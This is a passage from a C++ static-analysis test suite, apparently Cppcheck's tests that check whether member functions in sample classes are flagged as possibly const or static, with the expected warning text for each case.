{\\n\"\n \"static int x;\\n\"\n \"public:\\n\"\n \" void set(int i) { x = i; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:10]: (performance, inconclusive) Technically the member function 'Fred::set' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n }\n\n void const19() {\n // ticket #1612\n checkConst(\"using namespace std;\\n\"\n \"class Fred {\\n\"\n \"private:\\n\"\n \" std::string s;\\n\"\n \"public:\\n\"\n \" void set(std::string ss) { s = ss; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const20() {\n // ticket #1602\n checkConst(\"class Fred {\\n\"\n \" int x : 3;\\n\"\n \"public:\\n\"\n \" void set(int i) { x = i; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class Fred {\\n\"\n \" list x;\\n\"\n \"public:\\n\"\n \" list get() { return x; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class Fred {\\n\"\n \" list x;\\n\"\n \"public:\\n\"\n \" list get() { return x; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:23]: (style, inconclusive) Technically the member function 'Fred::get' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"class Fred {\\n\"\n \" std::list x;\\n\"\n \"public:\\n\"\n \" std::list get() { return x; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class Fred {\\n\"\n \" std::list x;\\n\"\n \"public:\\n\"\n \" std::list get() { return x; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:36]: (style, inconclusive) Technically the member function 'Fred::get' can be const. [functionConst]\\n\", errout_str());\n }\n\n void const21() {\n // ticket #1683\n checkConst(\"class A\\n\"\n \"{\\n\"\n \"private:\\n\"\n \" const char * l1[10];\\n\"\n \"public:\\n\"\n \" A()\\n\"\n \" {\\n\"\n \" for (int i = 0 ; i < 10; l1[i] = NULL, i++);\\n\"\n \" }\\n\"\n \" void f1() { l1[0] = \\\"Hello\\\"; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const22() {\n checkConst(\"class A\\n\"\n \"{\\n\"\n \"private:\\n\"\n \" B::C * v1;\\n\"\n \"public:\\n\"\n \" void f1() { v1 = 0; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class A\\n\"\n \"{\\n\"\n \"private:\\n\"\n \" B::C * v1[0];\\n\"\n \"public:\\n\"\n \" void f1() { v1[0] = 0; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const23() {\n checkConst(\"class Class {\\n\"\n \"public:\\n\"\n \" typedef Template Type;\\n\"\n \" typedef Template2 Type2;\\n\"\n \" void set_member(Type2 m) { _m = m; }\\n\"\n \"private:\\n\"\n \" Type2 _m;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const24() {\n checkConst(\"class Class {\\n\"\n \"public:\\n\"\n \"void Settings::SetSetting(QString strSetting, QString strNewVal)\\n\"\n \"{\\n\"\n \" (*m_pSettings)[strSetting] = strNewVal;\\n\"\n \"}\\n\"\n \"private:\\n\"\n \" std::map *m_pSettings;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n\n void const25() { // ticket #1724\n checkConst(\"class A{\\n\"\n \"public:\\n\"\n \"A(){m_strVal=\\\"\\\";}\\n\"\n \"std::string strGetString() const\\n\"\n \"{return m_strVal.c_str();}\\n\"\n \"const std::string strGetString1() const\\n\"\n \"{return m_strVal.c_str();}\\n\"\n \"private:\\n\"\n \"std::string m_strVal;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class A{\\n\"\n \"public:\\n\"\n \"A(){m_strVal=\\\"\\\";}\\n\"\n \"std::string strGetString()\\n\"\n \"{return m_strVal.c_str();}\\n\"\n \"private:\\n\"\n \"std::string m_strVal;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:13]: (style, inconclusive) Technically the member function 'A::strGetString' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"class A{\\n\"\n \"public:\\n\"\n \"A(){m_strVal=\\\"\\\";}\\n\"\n \"const std::string strGetString1()\\n\"\n \"{return m_strVal.c_str();}\\n\"\n \"private:\\n\"\n \"std::string m_strVal;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:19]: (style, inconclusive) Technically the member function 'A::strGetString1' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"class A{\\n\"\n \"public:\\n\"\n \"A(){m_strVec.push_back(\\\"\\\");}\\n\"\n \"size_t strGetSize()\\n\"\n \"{return m_strVec.size();}\\n\"\n \"private:\\n\"\n \"std::vector m_strVec;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:8]: (style, inconclusive) Technically the member function 'A::strGetSize' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"class A{\\n\"\n \"public:\\n\"\n \"A(){m_strVec.push_back(\\\"\\\");}\\n\"\n \"bool strGetEmpty()\\n\"\n \"{return m_strVec.empty();}\\n\"\n \"private:\\n\"\n \"std::vector m_strVec;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:6]: (style, inconclusive) Technically the member function 'A::strGetEmpty' can be const. [functionConst]\\n\", errout_str());\n }\n\n void const26() { // ticket #1847\n checkConst(\"class DelayBase {\\n\"\n \"public:\\n\"\n \"void swapSpecificDelays(int index1, int index2) {\\n\"\n \" std::swap(delays_[index1], delays_[index2]);\\n\"\n \"}\\n\"\n \"float delays_[4];\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"struct DelayBase {\\n\"\n \" float swapSpecificDelays(int index1) {\\n\"\n \" return delays_[index1];\\n\"\n \" }\\n\"\n \" float delays_[4];\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style, inconclusive) Technically the member function 'DelayBase::swapSpecificDelays' can be const. [functionConst]\\n\", errout_str());\n }\n\n void const27() { // ticket #1882\n checkConst(\"class A {\\n\"\n \"public:\\n\"\n \" A(){m_d=1.0; m_iRealVal=2.0;}\\n\"\n \" double dGetValue();\\n\"\n \"private:\\n\"\n \" double m_d;\\n\"\n \" double m_iRealVal;\\n\"\n \"};\\n\"\n \"double A::dGetValue() {\\n\"\n \" double dRet = m_iRealVal;\\n\"\n \" if( m_d != 0 )\\n\"\n \" return m_iRealVal / m_d;\\n\"\n \" return dRet;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:12] -> [test.cpp:9:12]: (style, inconclusive) Technically the member function 'A::dGetValue' can be const. [functionConst]\\n\", errout_str());\n }\n\n void const28() { // ticket #1883\n checkConst(\"class P {\\n\"\n \"public:\\n\"\n \" P() { x=0.0; y=0.0; }\\n\"\n \" double x,y;\\n\"\n \"};\\n\"\n \"class A : public P {\\n\"\n \"public:\\n\"\n \" A():P(){}\\n\"\n \" void SetPos(double xPos, double yPos) {\\n\"\n \" x=xPos;\\n\"\n \" y=yPos;\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class AA : public P {\\n\"\n \"public:\\n\"\n \" AA():P(){}\\n\"\n \" inline void vSetXPos(int x_)\\n\"\n \" {\\n\"\n \" UnknownScope::x = x_;\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class AA {\\n\"\n \"public:\\n\"\n \" AA():P(){}\\n\"\n \" inline void vSetXPos(int x_)\\n\"\n \" {\\n\"\n \" UnknownScope::x = x_;\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:17]: (performance, inconclusive) Technically the member function 'AA::vSetXPos' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n\n }\n\n void const29() { // ticket #1922\n checkConst(\"class test {\\n\"\n \" public:\\n\"\n \" test();\\n\"\n \" const char* get() const;\\n\"\n \" char* get();\\n\"\n \" private:\\n\"\n \" char* value_;\\n\"\n \"};\\n\"\n \"test::test()\\n\"\n \"{\\n\"\n \" value_ = 0;\\n\"\n \"}\\n\"\n \"const char* test::get() const\\n\"\n \"{\\n\"\n \" return value_;\\n\"\n \"}\\n\"\n \"char* test::get()\\n\"\n \"{\\n\"\n \" return value_;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const30() {\n // check for false negatives\n checkConst(\"class Base {\\n\"\n \"public:\\n\"\n \" int a;\\n\"\n \"};\\n\"\n \"class Derived : public Base {\\n\"\n \"public:\\n\"\n \" int get() {\\n\"\n \" return a;\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:7:9]: (style, inconclusive) Technically the member function 'Derived::get' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"class Base1 {\\n\"\n \"public:\\n\"\n \" int a;\\n\"\n \"};\\n\"\n \"class Base2 {\\n\"\n \"public:\\n\"\n \" int b;\\n\"\n \"};\\n\"\n \"class Derived : public Base1, public Base2 {\\n\"\n \"public:\\n\"\n \" int getA() {\\n\"\n \" return a;\\n\"\n \" }\\n\"\n \" int getB() {\\n\"\n \" return b;\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:11:9]: (style, inconclusive) Technically the member function 'Derived::getA' can be const. [functionConst]\\n\"\n \"[test.cpp:14:9]: (style, inconclusive) Technically the member function 'Derived::getB' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"class Base {\\n\"\n \"public:\\n\"\n \" int a;\\n\"\n \"};\\n\"\n \"class Derived1 : public Base { };\\n\"\n \"class Derived2 : public Derived1 {\\n\"\n \"public:\\n\"\n \" int get() {\\n\"\n \" return a;\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:8:9]: (style, inconclusive) Technically the member function 'Derived2::get' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"class Base {\\n\"\n \"public:\\n\"\n \" int a;\\n\"\n \"};\\n\"\n \"class Derived1 : public Base { };\\n\"\n \"class Derived2 : public Derived1 { };\\n\"\n \"class Derived3 : public Derived2 { };\\n\"\n \"class Derived4 : public Derived3 {\\n\"\n \"public:\\n\"\n \" int get() {\\n\"\n \" return a;\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:10:9]: (style, inconclusive) Technically the member function 'Derived4::get' can be const. [functionConst]\\n\", errout_str());\n\n // check for false positives\n checkConst(\"class Base {\\n\"\n \"public:\\n\"\n \" int a;\\n\"\n \"};\\n\"\n \"class Derived : public Base {\\n\"\n \"public:\\n\"\n \" int get() const {\\n\"\n \" return a;\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class Base1 {\\n\"\n \"public:\\n\"\n \" int a;\\n\"\n \"};\\n\"\n \"class Base2 {\\n\"\n \"public:\\n\"\n \" int b;\\n\"\n \"};\\n\"\n \"class Derived : public Base1, public Base2 {\\n\"\n \"public:\\n\"\n \" int getA() const {\\n\"\n \" return a;\\n\"\n \" }\\n\"\n \" int getB() const {\\n\"\n \" return b;\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class Base {\\n\"\n \"public:\\n\"\n \" int a;\\n\"\n \"};\\n\"\n \"class Derived1 : public Base { };\\n\"\n \"class Derived2 : public Derived1 {\\n\"\n \"public:\\n\"\n \" int get() const {\\n\"\n \" return a;\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class Base {\\n\"\n \"public:\\n\"\n \" int a;\\n\"\n \"};\\n\"\n \"class Derived1 : public Base { };\\n\"\n \"class Derived2 : public Derived1 { };\\n\"\n \"class Derived3 : public Derived2 { };\\n\"\n \"class Derived4 : public Derived3 {\\n\"\n \"public:\\n\"\n \" int get() const {\\n\"\n \" return a;\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const31() {\n checkConst(\"namespace std { }\\n\"\n \"class Fred {\\n\"\n \"public:\\n\"\n \" int a;\\n\"\n \" int get() { return a; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:5:9]: (style, inconclusive) Technically the member function 'Fred::get' can be const. [functionConst]\\n\", errout_str());\n }\n\n void const32() {\n checkConst(\"class Fred {\\n\"\n \"public:\\n\"\n \" std::string a[10];\\n\"\n \" void seta() { a[0] = \\\"\\\"; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const33() {\n checkConst(\"class derived : public base {\\n\"\n \"public:\\n\"\n \" void f(){}\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (performance, inconclusive) Either there is a missing 'override', or the member function 'derived::f' can be static. [functionStatic]\\n\", errout_str());\n }\n\n void const34() { // ticket #1964\n checkConst(\"class Bar {\\n\"\n \" void init(Foo * foo) {\\n\"\n \" foo.bar = this;\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const35() { // ticket #2001\n checkConst(\"namespace N\\n\"\n \"{\\n\"\n \" class Base\\n\"\n \" {\\n\"\n \" };\\n\"\n \"}\\n\"\n \"namespace N\\n\"\n \"{\\n\"\n \" class Derived : public Base\\n\"\n \" {\\n\"\n \" public:\\n\"\n \" int getResourceName() { return var; }\\n\"\n \" int var;\\n\"\n \" };\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:12:21]: (style, inconclusive) Technically the member function 'N::Derived::getResourceName' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"namespace N\\n\"\n \"{\\n\"\n \" class Base\\n\"\n \" {\\n\"\n \" public:\\n\"\n \" int getResourceName();\\n\"\n \" int var;\\n\"\n \" };\\n\"\n \"}\\n\"\n \"int N::Base::getResourceName() { return var; }\");\n ASSERT_EQUALS(\"[test.cpp:6:21] -> [test.cpp:10:14]: (style, inconclusive) Technically the member function 'N::Base::getResourceName' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"namespace N\\n\"\n \"{\\n\"\n \" class Base\\n\"\n \" {\\n\"\n \" public:\\n\"\n \" int getResourceName();\\n\"\n \" int var;\\n\"\n \" };\\n\"\n \"}\\n\"\n \"namespace N\\n\"\n \"{\\n\"\n \" int Base::getResourceName() { return var; }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:21] -> [test.cpp:12:19]: (style, inconclusive) Technically the member function 'N::Base::getResourceName' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"namespace N\\n\"\n \"{\\n\"\n \" class Base\\n\"\n \" {\\n\"\n \" public:\\n\"\n \" int getResourceName();\\n\"\n \" int var;\\n\"\n \" };\\n\"\n \"}\\n\"\n \"using namespace N;\\n\"\n \"int Base::getResourceName() { return var; }\");\n ASSERT_EQUALS(\"[test.cpp:6:21] -> [test.cpp:11:11]: (style, inconclusive) Technically the member function 'N::Base::getResourceName' can be const. [functionConst]\\n\", errout_str());\n }\n\n void const36() { // ticket #2003\n checkConst(\"class Foo {\\n\"\n \"public:\\n\"\n \" Blue::Utility::Size m_MaxQueueSize;\\n\"\n \" void SetMaxQueueSize(Blue::Utility::Size a_MaxQueueSize)\\n\"\n \" {\\n\"\n \" m_MaxQueueSize = a_MaxQueueSize;\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const37() { // ticket #2081 and #2085\n checkConst(\"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" A(){};\\n\"\n \" std::string operator+(const char *c)\\n\"\n \" {\\n\"\n \" return m_str+std::string(c);\\n\"\n \" }\\n\"\n \"private:\\n\"\n \" std::string m_str;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:5:17]: (style, inconclusive) Technically the member function 'A::operator+' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"class Fred\\n\"\n \"{\\n\"\n \"private:\\n\"\n \" long x;\\n\"\n \"public:\\n\"\n \" Fred() {\\n\"\n \" x = 0;\\n\"\n \" }\\n\"\n \" bool isValid() {\\n\"\n \" return (x == 0x11224488);\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:9:10]: (style, inconclusive) Technically the member function 'Fred::isValid' can be const. [functionConst]\\n\", errout_str());\n }\n\n void const38() { // ticket #2135\n checkConst(\"class Foo {\\n\"\n \"public:\\n\"\n \" ~Foo() { delete oArq; }\\n\"\n \" Foo(): oArq(new std::ofstream(\\\"...\\\")) {}\\n\"\n \" void MyMethod();\\n\"\n \"private:\\n\"\n \" std::ofstream *oArq;\\n\"\n \"};\\n\"\n \"void Foo::MyMethod()\\n\"\n \"{\\n\"\n \" (*oArq) << \\\"\\\";\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const39() {\n checkConst(\"class Foo\\n\"\n \"{\\n\"\n \" int * p;\\n\"\n \"public:\\n\"\n \" Foo () : p(0) { }\\n\"\n \" int * f();\\n\"\n \" const int * f() const;\\n\"\n \"};\\n\"\n \"const int * Foo::f() const\\n\"\n \"{\\n\"\n \" return p;\\n\"\n \"}\\n\"\n \"int * Foo::f()\\n\"\n \"{\\n\"\n \" return p;\\n\"\n \"}\");\n\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const40() { // ticket #2228\n checkConst(\"class SharedPtrHolder\\n\"\n \"{\\n\"\n \" private:\\n\"\n \" std::tr1::shared_ptr pView;\\n\"\n \" public:\\n\"\n \" SharedPtrHolder()\\n\"\n \" { }\\n\"\n \" void SetView(const std::shared_ptr & aView)\\n\"\n \" {\\n\"\n \" pView = aView;\\n\"\n \" }\\n\"\n \"};\");\n\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const41() { // ticket #2255\n checkConst(\"class Fred\\n\"\n \"{\\n\"\n \" ::std::string m_name;\\n\"\n \"public:\\n\"\n \" void SetName(const ::std::string & name)\\n\"\n \" {\\n\"\n \" m_name = name;\\n\"\n \" }\\n\"\n \"};\");\n\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class SharedPtrHolder\\n\"\n \"{\\n\"\n \" ::std::tr1::shared_ptr pNum;\\n\"\n \" public :\\n\"\n \" void SetNum(const ::std::tr1::shared_ptr & apNum)\\n\"\n \" {\\n\"\n \" pNum = apNum;\\n\"\n \" }\\n\"\n \"};\");\n\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class SharedPtrHolder2\\n\"\n \"{\\n\"\n \" public:\\n\"\n \" typedef ::std::tr1::shared_ptr IntSharedPtr;\\n\"\n \" private:\\n\"\n \" IntSharedPtr pNum;\\n\"\n \" public :\\n\"\n \" void SetNum(const IntSharedPtr & apNum)\\n\"\n \" {\\n\"\n \" pNum = apNum;\\n\"\n \" }\\n\"\n \"};\");\n\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"struct IntPtrTypes\\n\"\n \"{\\n\"\n \" typedef ::std::tr1::shared_ptr Shared;\\n\"\n \"};\\n\"\n \"class SharedPtrHolder3\\n\"\n \"{\\n\"\n \" private:\\n\"\n \" IntPtrTypes::Shared pNum;\\n\"\n \" public :\\n\"\n \" void SetNum(const IntPtrTypes::Shared & apNum)\\n\"\n \" {\\n\"\n \" pNum = apNum;\\n\"\n \" }\\n\"\n \"};\");\n\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"template \\n\"\n \"struct PtrTypes\\n\"\n \"{\\n\"\n \" typedef ::std::tr1::shared_ptr Shared;\\n\"\n \"};\\n\"\n \"class SharedPtrHolder4\\n\"\n \"{\\n\"\n \" private:\\n\"\n \" PtrTypes::Shared pNum;\\n\"\n \" public :\\n\"\n \" void SetNum(const PtrTypes::Shared & apNum)\\n\"\n \" {\\n\"\n \" pNum = apNum;\\n\"\n \" }\\n\"\n \"};\");\n\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const42() { // ticket #2282\n checkConst(\"class Fred\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" struct AB { };\\n\"\n \" bool f(AB * ab);\\n\"\n \"};\\n\"\n \"bool Fred::f(Fred::AB * ab)\\n\"\n \"{\\n\"\n \"}\");\n\n ASSERT_EQUALS(\"[test.cpp:5:10] -> [test.cpp:7:12]: (performance, inconclusive) Technically the member function 'Fred::f' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n\n checkConst(\"class Fred\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" struct AB {\\n\"\n \" struct CD { };\\n\"\n \" };\\n\"\n \" bool f(AB::CD * cd);\\n\"\n \"};\\n\"\n \"bool Fred::f(Fred::AB::CD * cd)\\n\"\n \"{\\n\"\n \"}\");\n\n ASSERT_EQUALS(\"[test.cpp:7:10] -> [test.cpp:9:12]: (performance, inconclusive) Technically the member function 'Fred::f' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n\n checkConst(\"namespace NS {\\n\"\n \" class Fred\\n\"\n \" {\\n\"\n \" public:\\n\"\n \" struct AB {\\n\"\n \" struct CD { };\\n\"\n \" };\\n\"\n \" bool f(AB::CD * cd);\\n\"\n \" };\\n\"\n \" bool Fred::f(Fred::AB::CD * cd)\\n\"\n \" {\\n\"\n \" }\\n\"\n \"}\");\n\n ASSERT_EQUALS(\"[test.cpp:8:14] -> [test.cpp:10:16]: (performance, inconclusive) Technically the member function 'NS::Fred::f' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n\n checkConst(\"namespace NS {\\n\"\n \" class Fred\\n\"\n \" {\\n\"\n \" public:\\n\"\n \" struct AB {\\n\"\n \" struct CD { };\\n\"\n \" };\\n\"\n \" bool f(AB::CD * cd);\\n\"\n \" };\\n\"\n \"}\\n\"\n \"bool NS::Fred::f(NS::Fred::AB::CD * cd)\\n\"\n \"{\\n\"\n \"}\");\n\n ASSERT_EQUALS(\"[test.cpp:8:14] -> [test.cpp:11:16]: (performance, inconclusive) Technically the member function 'NS::Fred::f' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n\n checkConst(\"class Foo {\\n\"\n \" class Fred\\n\"\n \" {\\n\"\n \" public:\\n\"\n \" struct AB {\\n\"\n \" struct CD { };\\n\"\n \" };\\n\"\n \" bool f(AB::CD * cd);\\n\"\n \" };\\n\"\n \"};\\n\"\n \"bool Foo::Fred::f(Foo::Fred::AB::CD * cd)\\n\"\n \"{\\n\"\n \"}\");\n\n ASSERT_EQUALS(\"[test.cpp:8:14] -> [test.cpp:11:17]: (performance, inconclusive) Technically the member function 'Foo::Fred::f' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n }\n\n void const43() { // ticket 2377\n checkConst(\"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" void foo( AA::BB::CC::DD b );\\n\"\n \" AA::BB::CC::DD a;\\n\"\n \"};\\n\"\n \"void A::foo( AA::BB::CC::DD b )\\n\"\n \"{\\n\"\n \" a = b;\\n\"\n \"}\");\n\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"namespace AA\\n\"\n \"{\\n\"\n \" namespace BB\\n\"\n \" {\\n\"\n \" namespace CC\\n\"\n \" {\\n\"\n \" struct DD\\n\"\n \" {};\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\\n\"\n \"class A\\n\"\n \"{\\n\"\n \" public:\\n\"\n \"\\n\"\n \" AA::BB::CC::DD a;\\n\"\n \" void foo(AA::BB::CC::DD b)\\n\"\n \" {\\n\"\n \" a = b;\\n\"\n \" }\\n\"\n \"};\");\n\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"namespace ZZ\\n\"\n \"{\\n\"\n \" namespace YY\\n\"\n \" {\\n\"\n \" struct XX\\n\"\n \" {};\\n\"\n \" }\\n\"\n \"}\\n\"\n \"class B\\n\"\n \"{\\n\"\n \" public:\\n\"\n \" ZZ::YY::XX a;\\n\"\n \" void foo(ZZ::YY::XX b)\\n\"\n \" {\\n\"\n \" a = b;\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const44() { // ticket 2595\n checkConst(\"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" bool bOn;\\n\"\n \" bool foo()\\n\"\n \" {\\n\"\n \" return 0 != (bOn = bOn);\\n\"\n \" }\\n\"\n \"};\");\n\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const45() { // ticket 2664\n checkConst(\"namespace wraps {\\n\"\n \" class BaseLayout {};\\n\"\n \"}\\n\"\n \"namespace tools {\\n\"\n \" class WorkspaceControl :\\n\"\n \" public wraps::BaseLayout\\n\"\n \" {\\n\"\n \" int toGrid(int _value)\\n\"\n \" {\\n\"\n \" }\\n\"\n \" };\\n\"\n \"}\");\n\n ASSERT_EQUALS(\"[test.cpp:8:13]: (performance, inconclusive) Technically the member function 'tools::WorkspaceControl::toGrid' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n }\n\n void const46() { // ticket 2663\n checkConst(\"class Altren {\\n\"\n \"public:\\n\"\n \" int fun1() {\\n\"\n \" int a;\\n\"\n \" a++;\\n\"\n \" }\\n\"\n \" int fun2() {\\n\"\n \" b++;\\n\"\n \" }\\n\"\n \"};\");\n\n ASSERT_EQUALS(\"[test.cpp:3:9]: (performance, inconclusive) Technically the member function 'Altren::fun1' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\"\n \"[test.cpp:7:9]: (performance, inconclusive) Technically the member function 'Altren::fun2' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n }\n\n void const47() { // ticket 2670\n checkConst(\"class Altren {\\n\"\n \"public:\\n\"\n \" void foo() { delete this; }\\n\"\n \" void foo(int i) const { }\\n\"\n \" void bar() { foo(); }\\n\"\n \"};\");\n\n ASSERT_EQUALS(\"[test.cpp:4:8]: (performance, inconclusive) Technically the member function 'Altren::foo' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n\n checkConst(\"class Altren {\\n\"\n \"public:\\n\"\n \" void foo() { delete this; }\\n\"\n \" void foo(int i) const { }\\n\"\n \" void bar() { foo(1); }\\n\"\n \"};\");\n\n ASSERT_EQUALS(\"[test.cpp:4:8]: (performance, inconclusive) Technically the member function 'Altren::foo' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\"\n \"[test.cpp:5:8]: (style, inconclusive) Technically the member function 'Altren::bar' can be const. [functionConst]\\n\", errout_str());\n }\n\n void const48() { // ticket 2672\n checkConst(\"class S0 {\\n\"\n \" class S1 {\\n\"\n \" class S2 {\\n\"\n \" class S3 {\\n\"\n \" class S4 { };\\n\"\n \" };\\n\"\n \" };\\n\"\n \" };\\n\"\n \"};\\n\"\n \"class TextIterator {\\n\"\n \" S0::S1::S2::S3::S4 mCurrent, mSave;\\n\"\n \"public:\\n\"\n \" bool setTagColour();\\n\"\n \"};\\n\"\n \"bool TextIterator::setTagColour() {\\n\"\n \" mSave = mCurrent;\\n\"\n \"}\");\n\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const49() { // ticket 2795\n checkConst(\"class A {\\n\"\n \" private:\\n\"\n \" std::map _hash;\\n\"\n \" public:\\n\"\n \" A() : _hash() {}\\n\"\n \" unsigned int fetch(unsigned int key)\\n\" // cannot be 'const'\n \" {\\n\"\n \" return _hash[key];\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const50() { // ticket 2943\n checkConst(\"class Altren\\n\"\n \"{\\n\"\n \" class SubClass : public std::vector\\n\"\n \" {\\n\"\n \" };\\n\"\n \"};\\n\"\n \"void _setAlign()\\n\"\n \"{\\n\"\n \" if (mTileSize.height > 0) return;\\n\"\n \" if (mEmptyView) return;\\n\"\n \"}\");\n\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const51() { // ticket 3040\n checkConst(\"class PSIPTable {\\n\"\n \"public:\\n\"\n \" PSIPTable() : _pesdata(0) { }\\n\"\n \" const unsigned char* pesdata() const { return _pesdata; }\\n\"\n \" unsigned char* pesdata() { return _pesdata; }\\n\"\n \" void SetSection(uint num) { pesdata()[6] = num; }\\n\"\n \"private:\\n\"\n \" unsigned char *_pesdata;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class PESPacket {\\n\"\n \"public:\\n\"\n \" PESPacket() : _pesdata(0) { }\\n\"\n \" const unsigned char* pesdata() const { return _pesdata; }\\n\"\n \" unsigned char* pesdata() { return _pesdata; }\\n\"\n \"private:\\n\"\n \" unsigned char *_pesdata;\\n\"\n \"};\\n\"\n \"class PSIPTable : public PESPacket\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" void SetSection(uint num) { pesdata()[6] = num; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const52() { // ticket 3048\n checkConst(\"class foo {\\n\"\n \" void DoSomething(int &a) const { a = 1; }\\n\"\n \" void DoSomethingElse() { DoSomething(bar); }\\n\"\n \"private:\\n\"\n \" int bar;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:2:10]: (performance, inconclusive) Technically the member function 'foo::DoSomething' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n }\n\n void const53() { // ticket 3049\n checkConst(\"class A {\\n\"\n \" public:\\n\"\n \" A() : foo(false) {};\\n\"\n \" virtual bool One(bool b = false) { foo = b; return false; }\\n\"\n 